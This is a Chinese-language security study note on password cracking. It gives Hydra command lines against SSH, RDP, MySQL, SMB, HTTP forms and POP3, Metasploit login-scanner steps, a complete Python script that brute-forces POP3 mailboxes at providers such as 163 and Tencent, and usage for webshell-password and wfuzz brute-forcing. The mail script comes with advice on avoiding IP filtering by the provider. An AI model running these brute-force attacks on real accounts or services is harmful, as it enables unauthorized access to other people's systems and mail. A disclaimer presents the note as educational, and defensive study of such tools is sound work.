郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

密码破解

  • 1 Hydra
    • 1.1 支持的协议
    • 1.2 攻击步骤
    • 1.3 攻击实例
    • 1.4 在线密码破解(了解)
  • 2 Metasploit 穷举模块使用
  • 3 邮箱破解
  • 4 指定后台密码破解
    • 4.1 常见 CMS 密码破解
      • 4.1.1 CMSmap
    • 4.2 一句话密码破解(PHP, JSP, ASP)
      • 4.2.1 cheetah
    • 4.3 多线程后台密码破解
      • 4.3.1 wfuzz
    • 4.4 含验证码后台密码破解

密码破解的实用工具:

Ophcrack, L0phtCrack, Cain & Abel, thc-hydra, RainbowCrack, Aircrack, AirSnort, PwdDump, Kerbcrack, brutus

  1. 思路

    1. 前期环境:目标系统实施了强安全措施

      • 安装了所有补丁
      • 无任何已知漏洞
      • 无应用层漏洞
      • 攻击面最小化
    2. 社会工程学:通过社会工程学的方式进行信息收集
    3. 获取目标系统用户身份
      • 非授权用户不守信,认证用户可以访问守信资源
      • 已有用户账号权限受限,需要提权
      • 不会触发系统报警
  2. 身份认证方法:证明你是声称你是的那个人

    • 你知道什么(账号密码、pin、passphrase)
    • 你有什么(令牌、token、key、证书、密保、手机)
    • 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
    • 以上方法结合适用(多因素身份认证)
    • 基于互联网的身份验证以账号密码以主要形式
  3. 密码破解推荐原则:破解时采取先易后难的原则,建议如下:

    • 利用收集的公开字典进行破解
    • 使用1-8位数字进行破解。
    • 使用1-8位小写字母进行破解
    • 使用1-8位大写字母进行破解
    • 使用1-8位混合大小写+数字+特殊字符进行破解
  4. 密码破解方法

    1. 人工猜解

      • 垃圾桶工程
      • 被动信息收集
    2. 基于字典暴力破解(主流)
    3. 键盘空间字符爆破
      • 全键盘空间字符
      • 部分键盘空间字符(基于规则)
      • 数字、小写字母、大写字母、字符、空格、瑞典字符、高位ASCII码
    4. 字典
      • 保存有用户名和密码的文本文件
  5. 用户密码变型

    • 基于 cewl 的结果进行密码变型
    • 末尾增加数字串
    • 字母大小写变化
    • 字母与字符互相转
    • 字母与数字互相转换:P@$$w0rd
  6. 影响密码破解效率

    • 密码复杂度(字典命中率)
    • 带宽、协议、服务器性能、客户端性能
    • 锁定阈值
    • 单位时间最大登陆请求次数

1 Hydra

Hydra (九头蛇) 是著名黑客组织 thc 的一款开源的暴力密码破解工具,可以在线破解多种密码。Hydra 是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra 非常灵活和迅速的。

1.1 支持的协议

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

1.2 攻击步骤

  • 选择目标:输入目标地址,可选:单独IP、CIDR(192.168.0.1/24)、文档中的列表。
  • 选择协议:输入需要爆破的协议,如 ftp:// 等。确保目标系统开启服务
  • 检查可选参数:假如爆破需要加入额外的参数则添加即可。

1.3 攻击实例

图形化 Hydraxhydra

# 扫描端口
nmap -p- 192.168.100.129   #-p- to scan ports from 1through 65535.# -l 指定用户名,-L 指定用户名字典文件;-p 指定密码,-P指定密码字典文件; -M 指定多个 IP 进行穷举
# ssh 密码破解
hydra -L users.txt -p msfadmin ssh://192.168.100.129 -v# HTTP 密码破解
hydra -L user_list.txt -P pass_list.txt -t 64 http-post://192.168.100.1 -I# rdp 密码破解
hydra -L user_list.txt -P pass_list.txt -t 64 rdp://192.168.100.130 -I -v# mysql 密码破解
hydra -L user_list.txt -P pass_list.txt -I -vV -f -e n  -t 64 mysql://192.168.100.129 -o mysql_crack.txt# SMB 密码破解
# -e n:空密码试探,s:使用指定用户和密码试探,r:将用户名反向作为密码输入
hydra -l win2019 -P pass_list.txt -e nsr -t 16 192.168.100.130 smb# 邮箱密码破解
pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3

1.4 在线密码破解(了解)

#Login=login:中“:”后面指定返回的是错误的特征字符,Login=login:S=index.php表示登陆成功后特征字符,可以是内容或HTTP头内容;
hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:S=index.php" -V  # Login=login:login.php表示登陆错误后特征字符;
hydra -l admin -P password.lst 192.168.10.128 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=login:login.php" -V  hydra -l admin -P password.lst 192.168.10.128 http-post-form "/foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H=X-Foo: Foo"
# C:先访问指定页面取得cookie
# H:指定http头
# https-post-form、http-get-form、https-get-form
# -S:使用SSL连接

2 Metasploit 穷举模块使用

# 密码破解模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login# 用法
# 进入 Metasploit 命令行界面
msfconsole
# 选择所要使用的模块
use auxiliary/scanner/ssh/ssh_login
# 查看模块需要配置的内容
show options
# 配置模块
set rhosts 192.168.100.129
set user_file user_list.txt
set pass_file pass_list.txt
set stop_on_success true
# info 查询模块配置信息
info
# 运行模块
exploit/run

3 邮箱破解

#!usr/bin/python
# !coding:utf-8
# description:
# 为了防止 IP 被所测试大厂过滤,建议一次测试案例不要超过 10 个,越少越好。
# 测试的密码应当为 POP3 的认证密码,与所登陆的邮箱密码不一样。import poplib
import sysif len(sys.argv) != 4:print("\tNote: 邮箱类型为:'163','tencent','coremail','236','exchange'\n")print("\tNote: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n")print("\tNote: 163|tencent|236 用户字典需要域名后缀,例如zhangsan@domain.com\n")print("\tUsage: 163|tencent使用方法:./mail_brute.py mtype <mail_address> <password_list>\n")print("\tUsage: 236|exchange|coremail使用方法:./mail_brute.py mtype <mail_address> <password_list> mail.domain.com\n")sys.exit(1)mailType = ['163', 'tencent', 'coremail', '236', 'exchange']if sys.argv[1] in ['236', 'exchange', 'coremail']:try:server = sys.argv[5]except:print('[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n')sys.exit(1)
elif sys.argv[1] == '163':# 如果是企业,请使用注释语句# server = "pop.qiye.163.com"server = "pop3.163.com"
elif sys.argv[1] == 'tencent':server = "pop.exmail.qq.com"
else:print("[-] Error: 邮箱类型错误\n")sys.exit(1)success = []try:users_list = open(sys.argv[2], "r")users = users_list.readlines()words_list = open(sys.argv[3], "r")words = words_list.readlines()
except IOError:print("[-] Error: 请检查用户名或密码路径及文件\n")sys.exit(1)
finally:users_list.close()words_list.close()try:if sys.argv[1] in ['163', '236']:pop = poplib.POP3(server, 110)else:pop = poplib.POP3_SSL(server, 995)welcome = pop.getwelcome()print(welcome)pop.quit()
except poplib.error_proto:welcome = "[-] Error: No Response,Something wrong!!!\n"sys.exit(1)print("[+] Server:", server)
print("[+] Users Loaded:", len(users))
print("[+] Words Loaded:", len(words))
print("[+] Server response:", welcome, "\n")def mailbruteforce(listuser, listpwd, mtype):if len(listuser) < 1 or len(listpwd) < 1:print("[-] Error: An error occurred: No user or pass list\n")return 1for user in listuser:for passwd in listpwd:user = user.replace("\n", "")passwd = passwd.replace("\n", "")try:print("-" * 12)print("[+] User:", user, "Password:", passwd)#                 time.sleep(0.1)if mtype in ['163', '236']:popserver = poplib.POP3(server, 110)else:popserver = poplib.POP3_SSL(server, 995)popserver.user(user)auth = popserver.pass_(passwd)print(auth)if auth.split(' ')[0] == "+OK" or auth == "+OK":ret = (user, passwd, popserver.stat()[0], popserver.stat()[1])success.append(ret)# print(len(success))popserver.quit()breakelse:popserver.quit()continueexcept:# print("An error occurred:", msg)passif __name__ == '__main__':mailbruteforce(users, words, sys.argv[1])print("\t[+] have weakpass :\t", len(success))if len(success) >= 1:for ret in success:print("\n\n[+] Login successful:", ret[0], ret[1])print("\t[+] Mail:", ret[2], "emails")print("\t[+] Size:", ret[3], "bytes\n")print("\n[-] Done")

4 指定后台密码破解

如果burp suit 一次请求过多可能会造成服务器的访问错误。

4.1 常见 CMS 密码破解

4.1.1 CMSmap

Dionach/CMSmap: CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. (github.com)

# -f 强制扫描 (W)ordpress, (J)oomla or (D)rupal
# -F 使用插件列表扫描,慢且可能出现误报
# -i 使用目标站点列表文件扫描
# -o 保存输出到指定文件
# -u 指定用户名或用户名文件列表
# -p 指定密码或密码文件列表
# -k 使用密码 hash 文件,需要安装 hashcat,仅支持 WordPress and Joomla
Examples:cmsmap.py https://example.comcmsmap.py https://example.com -f W -F --noedb -dcmsmap.py https://example.com -i targets.txt -o output.txtcmsmap.py https://example.com -u admin -p passwords.txtcmsmap.py -k hashes.txt -w passwords.txt

4.2 一句话密码破解(PHP, JSP, ASP)

4.2.1 cheetah

shmilylty/cheetah: a very fast brute force webshell password tool (github.com)

# -c 使能清除重复密码,默认关闭
# -s 指定 WEB 服务器名称,默认自动探测
# -v 使能输出详细信息,默认关闭
# -u url
# -r 请求类型,默认 POST
# -n 指定请求参数个数
# -p 指定密码文件,默认是 pwd.list
use examples:python cheetah.py -u http://orz/orz.phppython cheetah.py -u http://orz/orz.jsp -r post -n 1000 -vpython cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.listpython cheetah.py -u http://orz/orz -w aspx -s iis -n 1000python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v

4.3 多线程后台密码破解

4.3.1 wfuzz

wfuzz -c -w csdnpass.txt --hc 200 -d "user=admin&pw=FUZZ" http://blog.lab.com/admin/index.php?action=login

具体使用方式参考:WFUZZ使用教程_JBlock的博客-CSDN博客_wfuzz

4.4 含验证码后台密码破解

破解步骤:

  • 验证码是否可以重复利用 :输入历史验证码时,若提示验证码错误,则可以识别,反之不能。
  • 验证码、Cookie 是否重复利用(重要) :正确提交验证码的请求
    • 使用 Burp Suite 阻断所提交的请求,使用 Repeater 功能,修改所提交的密码参数,若回复数据提示验证码错误,则说明不能重复利用,反之可以。也可以通过删除所提交的验证码参数来时行验证。
    • 删除所提交的 Cookie 参数,若回复数据提示验证码错误,则说明不能重复利用,反之可以。
  • 验证码是否可以识别:后续讨论

WEB安全之:密码穷举破解相关推荐

  1. python破解压缩密码.穷举.或弱密码

    2022-12-13 python穷举破解与效率 python破解压缩文件 python破解zip pyton穷举破解压缩包 zip用的相对多点,没研究其他的,本来想找来直接拷贝的,结果还是花了时间自 ...

  2. python获取WiFi列表,根据密码本穷举破解,Windows

    python获取WiFi列表,根据密码本穷举破解,Windows 后附密码本 结果还是看运气 不要过度以及违法使用 单次连接时间自由调整:我自己测试时1秒够了 #wifi连接时间 time.sleep ...

  3. 24点游戏-穷举破解

    24点游戏,由1~13任意选取四个数字,利用加减乘除的方法使结果变为24,任意抽取四张,有1820种组合可以构成24点 1820来源: 按相同点数牌的张数分成五种情况讨论,分别为 4.3+1.2+1+ ...

  4. 网络安全渗透测试之burpsuite穷举

    穷举概述 穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口令登录,这个口令就是密码,密码的强度分为,弱口令 .中度口令.强度口令.如果登录的服务为弱口令,那会存在很大的安全隐患, ...

  5. 论穷举法破解0到6位数登录密码的可行性

    0到6位数密码含数字,字母大小写,英文符号有537412247190种可能性(千亿数量级),3998.410GB. 在局域网网速,个人台式电脑情况下,java代码(httpclient)访问路由器网址 ...

  6. 穷举法破解集合小游戏~

    游戏网站:http://www.setgame.com/puzzle/set.htm 游戏规则: 1.三种颜色(红.绿.紫) 2.三种外形(方形.椭圆形.花形) 3.三种背景阴影(实心.点.轮廓) 4 ...

  7. python穷举法_python 穷举指定长度的密码例子

    本程序可根据给定的字符字典,穷举指定长度的所有字符串: def get_pwd(str, num): if(num == 1): for x in str: yield x else: for x i ...

  8. 用vc++穷举windows应用程序密码

    一.引言 随着计算机信息技术的发展,人们越来越重视信息的安全性,信息数据的安全保密已经成为影响计算机发展的一个重要课题.机密文件.商业情报.银行账号.网络密码.科技成果.包括私人信件等等,都成了用户为 ...

  9. 用vc++穷举windows应用程序密码(上)

    2007年10月12日 02:14:00 一.引言 随着计算机信息技术的发展,人们越来越重视信息的安全性,信息数据的安全保密已经成为影响计算机发展的一个重要课题.机密文件.商业情报.银行账号.网络密码 ...

  10. 使用密码字典 和 Python自带的pywifi模块穷举WIFI密码

    俗话说"小时偷针,大时偷鸡",来告诉我们从小要养成良好的行为习惯.但是自从走上程序员这条路以后,学习变得枯燥,明明很有时间,"却变得没有时间了",总之学习效率特 ...

最新文章

  1. 刚刚,2020 ACM Fellow放榜!陈怡然、颜水成、周昆等12名华人当选
  2. 稳定的手机端服务器,[Ktor] 实现移动端的 Ktor 服务器
  3. html5 滤色,深入理解CSS mix-blend-mode滤色screen混合模式
  4. CSS基础学习 19.CSS hack
  5. java frame button_java – 从Button打开一个新的JFrame
  6. POJ2446-Chessboard【最大匹配,二分图,奇偶建图】
  7. solidworks模板_工程师实用高级操作,Solidworks自定义属性链接到工程图模板
  8. 决策树可视化案例python_Python决策树demo可视化
  9. 30 行代码实现蚂蚁森林自动“偷”能量
  10. JavaWeb应用项目部署到云ubuntu
  11. Rust : channel、多线程与 CTP相关机制的模拟
  12. Parallel垃圾回收器总结
  13. 服务器lsass系统错误,lsass.exe系统错误如何解决?
  14. 网络安全——lcx的使用
  15. Photoshop利用快速蒙版抠图方法
  16. A*算法————传教士和野人
  17. 快递物流查询,分析派件时效,查找正在派件的单号
  18. 18 | 安全标准和框架:怎样依“葫芦”画出好“瓢”?
  19. Linux中SDIO命令,linux device driver之sdio驱动编程分享
  20. 通达信行情数据获取--python_股票量化交易-获取数据的两种方法

热门文章

  1. Quartus-II 三种方式进行D触发器仿真
  2. 高中信息技术html语言,高中信息技术Frontpage试题
  3. ipxspx协议linux,win7\win10 IPX协议自动安装器
  4. linux查看任务计划结果,Linux 计划任务
  5. 渗透测试常用工具-端口扫描
  6. masm32基础使用(win10+cmd)
  7. 32位matlab下载,matlab2008a的32位版本(2G)下载问题及精简安装
  8. UAC怎么关闭?电脑的UAC如何关闭
  9. MAC使用Safari浏览器仿真IE
  10. JS+CSS实现幻灯片